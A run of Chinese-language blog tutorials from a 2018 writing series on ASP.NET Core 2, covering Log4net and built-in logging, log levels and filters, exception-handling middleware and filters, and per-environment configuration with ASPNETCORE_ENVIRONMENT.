將 Log4netProvider 註冊到 WebHost 的 ConfigureLogging 中。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureLogging(logging => {
                    logging.AddProvider(new Log4netProvider("log4net.config"));
                })
                .UseStartup<Startup>()
                .Build();
        }
    }
}

如此一來,也能透過 ASP.NET Core 的 Logger API 寫出 Log4net 的 Log 了。

輸出結果如下:

C:\Logs\MyWebsite\log4net-all_2018-01-07.log

1
2
3
4
5
6
7
8
9
10
2018-01-07 00:56:46,673 [1] INFO Microsoft.AspNetCore.DataProtection.KeyManagement.XmlKeyManager - User profile is available. Using 'C:\Users\john.wu\AppData\Local\ASP.NET\DataProtection-Keys' as key repository and Windows DPAPI to encrypt keys at rest.
2018-01-07 00:56:47,167 [17] INFO Microsoft.AspNetCore.Hosting.Internal.WebHost - Request starting HTTP/1.1 GET http://localhost:5000/  
2018-01-07 00:56:47,261 [17] INFO Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker - Executing action method MyWebsite.HomeController.Index (MyWebsite) with arguments ((null)) - ModelState is Valid
2018-01-07 00:56:47,265 [17] INFO MyWebsite.HomeController - This information log from Home.Index()
2018-01-07 00:56:47,266 [17] WARN MyWebsite.HomeController - This warning log from Home.Index()
2018-01-07 00:56:47,268 [17] ERROR MyWebsite.HomeController - This error log from Home.Index()
2018-01-07 00:56:47,269 [17] FATAL MyWebsite.HomeController - This critical log from Home.Index()
2018-01-07 00:56:47,278 [17] INFO Microsoft.AspNetCore.Mvc.Internal.ObjectResultExecutor - Executing ObjectResult, writing value Microsoft.AspNetCore.Mvc.ControllerContext.
2018-01-07 00:56:47,303 [17] INFO Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker - Executed action MyWebsite.HomeController.Index (MyWebsite) in 52.7449ms
2018-01-07 00:56:47,305 [17] INFO Microsoft.AspNetCore.Hosting.Internal.WebHost - Request finished in 141.4295ms 200 text/plain; charset=utf-8

參考

Introduction to Logging in ASP.NET Core
NLog – Getting started with ASP.NET Core 2
How to use Log4Net with ASP.NET Core for logging

[鐵人賽 Day18] ASP.NET Core 2 系列 – Logging

ASP.NET Core 提供了好用的 Logging API,預設就已經將 Logger 物件放進 DI 容器,能直接透過 DI 取用記錄 Log 的物件。
本篇將介紹 ASP.NET Core 的 Logging 使用方式。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day18] ASP.NET Core 2 系列 – Logging

Logger

ASP.NET Core 2 預設就把 Logger 放進 DI 容器,能直接透過 DI 取用 ILogger 實例。如下:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly ILogger _logger;
        
        public HomeController(ILogger<HomeController> logger)
        {
            _logger = logger;
        }
        
        public string Index() {
            _logger.LogTrace("This trace log from Home.Index()");
            _logger.LogDebug("This debug log from Home.Index()");
            _logger.LogInformation("This information log from Home.Index()");
            _logger.LogWarning("This warning log from Home.Index()");
            _logger.LogError("This error log from Home.Index()");
            _logger.LogCritical("This critical log from Home.Index()");
            return "Home.Index()";
        }
    }
}

以下都會用 Home.Index() 做為 Log 輸出的範例。

透過指令執行 dotnet run,就可以看到 Log 訊息:

[鐵人賽 Day18] ASP.NET Core 2 系列 - Logging - Sample

會發現上例預期輸出 6 筆 Log,但實際上確出現一大堆 Log,其中只有 4 筆 Log 是由 Home.Index() 輸出。

Log Level

ASP.NET Core 的 Log 有分為以下六種:

  • Trace (Log Level = 0)
    此類 Log 通常用於開發階段,讓開發人員檢查資料使用,可能會包含一些帳號密碼等敏感資料,不適合也不應該出現在正式環境的 Log 中。 (預設不會輸出)
  • Debug (Log Level = 1)
    這類型的 Log 是為了在正式環境除錯使用,但平常不應該開啟,避免 Log 量太大,反而會造成正式環境的問題。 (預設不會輸出)
  • Information (Log Level = 2)
    常見的 Log 類型,主要是紀錄程試運行的流程。
  • Warning (Log Level = 3)
    紀錄可預期的錯誤或者效能不佳的事件;不改不會死,但改了會更好的問題。
  • Error (Log Level = 4)
    紀錄非預期的錯誤,不該發生但卻發生,應該要避免重複發生的錯誤事件。
  • Critical (Log Level = 5)
    只要發生就準備見上帝的錯誤事件,例如會導致網站重啟,系統崩潰的事件。

若要變更 Log 輸出等級,可以打開 Program.Main 在 WebHost Builder 加入 ConfigureLogging 設定。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .ConfigureLogging(logging => logging.SetMinimumLevel(LogLevel.Trace))
                .Build();
        }
    }
}

Log Filter

大部都是 Microsoft.AspNetCore 輸出的 Log,但這類型的 Log 你可能不需要關注。如下:

[鐵人賽 Day18] ASP.NET Core 2 系列 - Logging - Log Filter

外部參考的套件,通常只需要關注有沒有 Error 層級以上的錯誤。
因此,可以透過外部檔案設定 Log Level,過濾掉一些你不需要關注的 Log。
建立一個 settings.json 的檔案,依照需求增減 Log 過濾條件。內容如下:

Configuration\settings.json

1
2
3
4
5
6
7
8
9
10
{
    "Logging": {
        "LogLevel": {
            "Default": "Debug",
            "MyWebsite": "Trace",
            "System": "Error",
            "Microsoft": "Error"
        }
    }
}
  • Default
    預設會紀錄 Debug 以上層級的 Log。
  • MyWebsite
    當遇到 Log 來源的 namespace 是 MyWebsite 時,就會紀錄 Trace 以上層級的 Log。
  • System & Microsoft
    當遇到 Log 來源的 namespace 是 System 或 Microsoft 時,只紀錄 Error 以上層級的 Log。

在 Program.Main 的 ConfigureLogging 設定 Log 組態檔。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using System.IO;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .ConfigureLogging((hostContext, logging) =>
                {
                    var env = hostContext.HostingEnvironment;
                    var configuration = new ConfigurationBuilder()
                        .SetBasePath(Path.Combine(env.ContentRootPath, "Configuration"))
                        .AddJsonFile(path: "settings.json", optional: true, reloadOnChange: true)
                        .Build();
                    logging.AddConfiguration(configuration.GetSection("Logging"));
                })
                .Build();
        }
    }
}

GetSection 是指定從 Configuration\settings.json 檔的 Logging 區塊讀取內容。

輸出結果:

[鐵人賽 Day18] ASP.NET Core 2 系列 - Logging - Log Filter

參考

Introduction to Logging in ASP.NET Core

[鐵人賽 Day17] ASP.NET Core 2 系列 – 例外處理 (Exception Handler)

例外處理(Exception Handler)算是程式開發蠻重要的一件事,尤其程式暴露在外,要是不小心顯示了什麼不該讓使用者看到的東西就糟糕了。
要在 ASP.NET Core 做一個通用的 Exception Handler 可以透過 Middleware 或 Filter,但兩者之間的執行週期確大不相同。
本篇將介紹 ASP.NET Core 透過 Middleware 及 Filter 異常處理的差異。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day17] ASP.NET Core 2 系列 – 例外處理 (Exception Handler)

實做 Exception Handler 前,需要先了解 Middleware 及 Filter 的特性。
可以參考這兩篇:

Exception Filter

Exception Filter 僅能補捉到 Action 及 Action Filter 所發出的 Exception。
其它的類型的 Filter 或 Middleware 產生的 Exception,並沒有辦法透過 Exception Filter 攔截。
如果要做全站的通用的 Exception Handler,可能就沒有這麼合適。

Exception Filter 範例:

ExceptionFilter.cs

1
2
3
4
5
6
7
8
9
10
// ...
public class ExceptionFilter : IAsyncExceptionFilter
{
    public Task OnExceptionAsync(ExceptionContext context)
    {
        context.HttpContext.Response
            .WriteAsync($"{GetType().Name} catch exception. Message: {context.Exception.Message}");
        return Task.CompletedTask;
    }
}

Exception Filter 全域註冊:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
// ...
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddMvc(config =>
        {
            config.Filters.Add(new ExceptionFilter());
        });
    }
}

除非註冊了兩個以上的 Exception Filter,不然 Filter 註冊的先後順序並不重要,執行順序是依照 Filter 的類型,同類型的 Filter 才會關係到註冊的先後順序。

Exception Middleware

Middleware 註冊的層級可以在 Filters 的外層,也就是說所有的 Filter 都會經過 Middleware。
如果再把 Exception Middleware 註冊在所有 Middleware 的最外層,就可以變成全站的 Exception Handler。
Exception Handler 層級示意圖如下:ASP.NET Core 教學 - Exception Handler 層級

Exception Middleware 範例:

ExceptionMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// ...
public class ExceptionMiddleware
{
    private readonly RequestDelegate _next;

    public ExceptionMiddleware(RequestDelegate next)
    {
        _next = next;
    }

    public async Task Invoke(HttpContext context)
    {
        try
        {
            await _next(context);
        }
        catch (Exception ex)
        {
            await context.Response
                .WriteAsync($"{GetType().Name} catch exception. Message: {ex.Message}");
        }
    }
}

Exception Middleware 全域註冊:

Startup.cs

1
2
3
4
5
6
7
8
9
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseMiddleware<ExceptionMiddleware>();
        // Other Middleware...
    }
}

Middleware 的註冊順序很重要,越先註冊的會包在越外層。
把 ExceptionMiddleware 註冊在越外層,能涵蓋的範圍就越多。

Exception Handler

ASP.NET Core 有提供 Exception Handler 的 Pipeline,底層就是用上述 Exception Middleware 的做法,在 Application Builder 使用 UseExceptionHandler 指定錯誤頁面。

Startup.cs

1
2
3
4
5
6
7
8
9
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseExceptionHandler("/error");
        // Other Middleware...
    }
}

用以下範例模擬錯誤發生:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Microsoft.AspNetCore.Mvc;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        public void Index()
        {
            throw new System.Exception("This is exception sample from Index().");
        }

        [Route("/api/test")]
        public string Test()
        {
            throw new System.Exception("This is exception sample from Test().");
        }

        [Route("/error")]
        public IActionResult Error()
        {
            return View();
        }
    }
}

Views\Shared\Error.cshtml

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
    <head>
        <title>Error</title>
    </head>
    <body>
        <p>This is error page.</p>
    </body>
</html>

當連入 http://localhost:5000/ 發生錯誤後,就會回傳顯示 This is error page. 的頁面。

注意!不會轉址到 http://localhost:5000/error,而是直接回傳 HomeController.Error() 的內容。

ExceptionHandlerOptions

如果網站中混用 Web API,當 API 發生錯誤時,依然回傳 HomeController.Error() 的內容,就會顯得很奇怪。UseExceptionHandler 除了可以指派錯誤頁面外,也可以自己實作錯誤發生的事件。

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseExceptionHandler(new ExceptionHandlerOptions()
        {
            ExceptionHandler = async context =>
            {
                bool isApi = Regex.IsMatch(context.Request.Path.Value, "^/api/", RegexOptions.IgnoreCase);
                if (isApi)
                {
                    context.Response.ContentType = "application/json";
                    var json = @"{ ""Message"": ""Internal Server Error"" }";
                    await context.Response.WriteAsync(json);
                    return;
                }
                context.Response.Redirect("/error");
            }
        });
        // Other Middleware...
    }
}

這次特別處理了 API 的錯誤,當連入 http://localhost:5000/api/* 發生錯誤時,就會回傳 JSON 格式的錯誤。

1
2
3
{ 
    "Message": "Internal Server Error" 
}

同時把 MVC 發生錯誤的行為,改用轉址的方式轉到 http://localhost:5000/error

UseDeveloperExceptionPage

通常在開發期間,還是希望能直接看到錯誤資訊,會比較方便除錯。UseDeveloperExceptionPage 是 ASP.NET Core 提供的錯誤資訊頁面服務,可以在 Application Builder 注入。
在 Startup.Configure 注入 IHostingEnvironment 取得環境變數,判斷在開發階段才套用,反之則用 Exception Handler。

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app, IHostingEnvironment env)
    {
        // 暫時測試可以直接指派環境名稱
        // env.EnvironmentName = EnvironmentName.Development;
        if (env.IsDevelopment())
        {
            app.UseDeveloperExceptionPage();
        }
        else
        {
            app.UseExceptionHandler("/error");
        }
        // Other Middleware...
    }
}

env.IsDevelopment() 是從 ASPNETCORE_ENVIRONMENT 而來。
詳細情參考這篇:[鐵人賽 Day16] ASP.NET Core 2 系列 – 多重環境組態管理 (Multiple Environments)

開發環境的錯誤資訊頁面如下:

[鐵人賽 Day17] ASP.NET Core 2 系列 - 例外處理(Exception Handler) - UseDeveloperExceptionPage

參考

Introduction to Error Handling in ASP.NET Core

[鐵人賽 Day16] ASP.NET Core 2 系列 – 多重環境組態管理 (Multiple Environments)

產品從開發到正式上線的過程中,通常都會有很多個環境,如:開發環境、測試環境及正式環境等。
每個環境的組態設定可能都略有不同,至少資料庫不會都連到同一個地方,因此就會有不同環境組態設定的需求。
ASP.NET Core 就提供了相關的環境 API,透過環境 API 取得執行環境的資訊,進而做對應處理。
本篇將介紹 ASP.NET Core 的多重環境組態管理。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day16] ASP.NET Core 2 系列 – 多重環境組態管理 (Multiple Environments)

環境名稱

環境 API 可以讀取執行程式的環境資訊,例如:環境名稱、網站實體路徑、網站名稱等。
其中環境名稱就是用來判斷執行環境的主要依據,環境名稱是從系統變數為 ASPNETCORE_ENVIRONMENT 的內容而來。

ASP.NET Core 預設將環境分為三種:

  • Development:開發環境
  • Staging:暫存環境(測試環境)
  • Production:正式環境

要取得系統變數 ASPNETCORE_ENVIRONMENT,可以透過注入 IHostingEnvironment API。範例如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app, IHostingEnvironment env)
    {
        env.EnvironmentName = EnvironmentName.Development;

        if (env.IsDevelopment()) {
           // Do something...
        }

        app.Run(async (context) =>
        {
            await context.Response.WriteAsync(
                $"EnvironmentName: {env.EnvironmentName}\r\n"
              + $"IsDevelopment: {env.IsDevelopment()}"
            );
        });
    }
}

網站啟動時,IHostingEnvironment 會從系統變數 ASPNETCORE_ENVIRONMENT 取得資料後,填入 EnvironmentName,該值也可以從程式內部直接指派。
環境名稱並沒有特定的限制,它可以是任意的字串,不一定要被預設的三種分類限制。

例如自訂一個 Test 的環境。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app, IHostingEnvironment env)
    {
        env.EnvironmentName = "Test";
        
        if (env.IsDevelopment()) {
           // Do something...
        } else if (env.IsEnvironment("test")) {
           // Do something...
        }

        app.Run(async (context) =>
        {
            await context.Response.WriteAsync(
                $"EnvironmentName: {env.EnvironmentName}\r\n"
              + $"This is test environment: {env.IsEnvironment("test")}");
        });
    }
}

建議判斷環境透過 env.IsEnvironment("EnvironmentName")IsEnvironment() 會忽略大小寫差異。

組態設定

組態設定檔可以在不同環境都各有一份,或許大部分的內容是相同的,但應該會有幾個設定是不同的。如:資料庫連線字串。
環境名稱也可以跟組態設定檔混用,利用組態設定檔後帶環境名稱,作為不同環境會取用的組態設定檔。

例如:
有一個組態設定檔為 settings.json,內容如下:

Configuration\settings.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
  "SupportedCultures": [
    "en-GB",
    "zh-TW",
    "zh-CN"
  ],
  "CustomObject": {
    "Property": {
      "SubProperty1": 1,
      "SubProperty2": true,
      "SubProperty3": "This is sub property."
    }
  },
  "DBConnectionString": "Server=(localdb)\\mssqllocaldb;Database=MyWebsite;"
}

正式環境也建立一個名稱相同的檔案,並帶上環境名稱 settings.Production.json,內容如下:

Configuration\settings.Production.json

1
2
3
{
  "DBConnectionString": "Data Source=192.168.1.5;Initial Catalog=MyWebsite;Persist Security Info=True;User ID=xxx;Password=xxx"
}

載入組態設定方式:

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
using System.IO;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureAppConfiguration((hostContext, config) =>
                {
                    var env = hostContext.HostingEnvironment;
                    config.SetBasePath(Path.Combine(env.ContentRootPath, "Configuration"))
                        .AddJsonFile(path: "settings.json", optional: false, reloadOnChange: true)
                        .AddJsonFile(path: $"settings.{env.EnvironmentName}.json", optional: true, reloadOnChange: true);
                })
                .UseStartup<Startup>()
                .Build();
        }
    }
}

讀取組態設定檔時,會先讀取 settings.json 並設定 optional=false,指定該檔為必要檔案;再讀取 settings.{env.EnvironmentName}.json 檔案。 組態檔載入的特性是當遇到 Key 值重複時,後面載入的設定會蓋掉前面的設定。

以此例來說,當 settings.Production.json 載入後,就會把 settings.json 的 DBConnectionString 設定蓋掉,而 settings.json 其它的設定依然能繼續使用。

前篇[鐵人賽 Day15] ASP.NET Core 2 系列 – 組態設定 (Configuration) 有介紹讀取組態設定檔。

環境設定

利用系統變數 ASPNETCORE_ENVIRONMENT 能判斷環境的特性,可以在各環境的電腦設定環境名稱。
當程式佈署到該環境後,運行時就會套用該台電腦的系統變數。

Windows

Windows 系統變數的設定方式如下: 控制台 -> 系統及安全性 -> 系統[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) - 環境變數1
[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) - 環境變數2

Windows 也可以用指令:

1
SETX ASPNETCORE_ENVIRONMENT "Production" /M

需要用系統管理員權限執行。
如果設定完沒有生效,試著重新登入或重開機。

Linux\macOS

Linux\macOS 可以在 /etc/profile 加入環境變數:

1
export ASPNETCORE_ENVIRONMENT="Production"

IIS

IIS 的 Web.config 也可以設定環境變數:

Web.config

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
    </handlers>
    <aspNetCore processPath="dotnet" arguments=".\MyWebsite.dll" stdoutLogEnabled="false" stdoutLogFile=".\logs\stdout">
      <environmentVariables>
        <environmentVariable name="ASPNETCORE_ENVIRONMENT" value="Production" />
      </environmentVariables>
    </aspNetCore>
  </system.webServer>
</configuration>

Visual Studio Code

如果是用 VS Code 開發的話,可以在 launch.json 找到 ASPNETCORE_ENVIRONMENT 的設定如下:

launch.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
   "version": "0.2.0",
   "configurations": [
        {
            "name": ".NET Core Launch (web)",
            "type": "coreclr",
            // ...
            "env": {
                "ASPNETCORE_ENVIRONMENT": "Development"
            },
            // ...
        },
        // ...
    ]
}

透過 VS Code 啟動 .NET Core Launch (web) 時,就會套用該設定的環境名稱。如下:

[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) - Visual Studio Code

Visual Studio IDE

若以 Visual Studio IDE 開發(如 Visual Studio 2017),可以從 UI 設定環境名稱。如下:
[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) -Visual Studio 2017

或者從 Properties\launchSettings.json 設定:

Properties\launchSettings.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    // ...
    "profiles": {
        // ...
        "MyWebsite": {
            "commandName": "Project",
            "launchBrowser": true,
            "environmentVariables": {
                "ASPNETCORE_ENVIRONMENT": "Local"
            },
            "applicationUrl": "http://localhost:5000/"
        }
    }
}

用 Visual Studio 2017 啟動網站後,就會套用該設定的環境名稱。如下:
[鐵人賽 Day16] ASP.NET Core 2 系列 - 多重環境組態管理 (Multiple Environments) -Visual Studio 2017

參考

Working with multiple environments